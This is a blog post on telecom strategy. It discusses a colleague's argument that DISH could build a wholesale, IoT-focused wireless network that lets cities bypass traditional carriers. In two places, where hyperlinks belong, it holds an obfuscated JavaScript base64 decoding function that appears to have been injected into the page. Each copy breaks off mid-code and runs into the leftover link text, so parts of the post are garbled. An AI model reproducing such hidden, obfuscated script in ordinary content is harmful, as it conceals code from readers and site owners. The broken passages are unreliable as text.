The Disruptive Power of Wholesale Approaches

Steve Kamman’s blog Strong Views Lightly Held has come back to life. This is excellent news. Steve is both a top telecom market expert and a great disruptive thinker, a winning combination if you want to look at things a little differently. His latest blog post got my mind churning, connecting (as he often does) a number of previously unconnected dots in my mind.

The post is entitled function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-ugly/">US Wireless About to Get Interesting (and Ugly). I strongly encourage you to read it, but in a nutshell, Steve argues that DISH's massive spectrum assets will be put to use to disrupt the US market in the very near future. Most interestingly though, Steve outlines one possible use of that spectrum that resonates a lot with me: building a wholesale wireless network centered around IoT rather than human communications.

Steve isn't arguing that it should be solely able to deal with IoT (I think) but rather that it could be designed with IoT in mind from the get go, both from a technology standpoint and from a business model standpoint. One of the issues I raised in a number of speeches I made recently is that Cities are currently paying through the nose for sensor-based smart city applications because the network layer is sub-contracted to carriers who have no genuine interest in this market and are not adapting their pricing to its needs. While that might push Cities to consider alternatives (like deploying their own backbone fiber + wireless or even their own fiber to the home as a basis for smart city applications), the alternative Steve outlines could be a really interesting way of complementing that "self-reliance" scenario.

In fact, in combination with the recently announced Veniam products, a little Sigfox for low-level continuous data and deep fiber aggregation + wifi for upstream, you could totally see how cities could, with minimal investment, completely circumvent the traditional telecom ecosystem. Not to mention that, in the case of DISH, it could open up opportunities for traditional mobile telephony/data disruptors like Ting to expand their footprint and (possibly) make higher margins than with the current MVNO deals they're getting. And there's probably a way that function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-says-yes-to-the-network-agnostic-sim-card/">open SIMs fit into this as well. If DISH was the first to fully embrace that in the US (T-Mobile is kinda there but not quite, as I understand it) the Verizons and AT&Ts could be in for a lot of trouble.

So, Steve, how do we make that pitch to Ergen ?

 

Photo: (cc) by Camilo Rueda López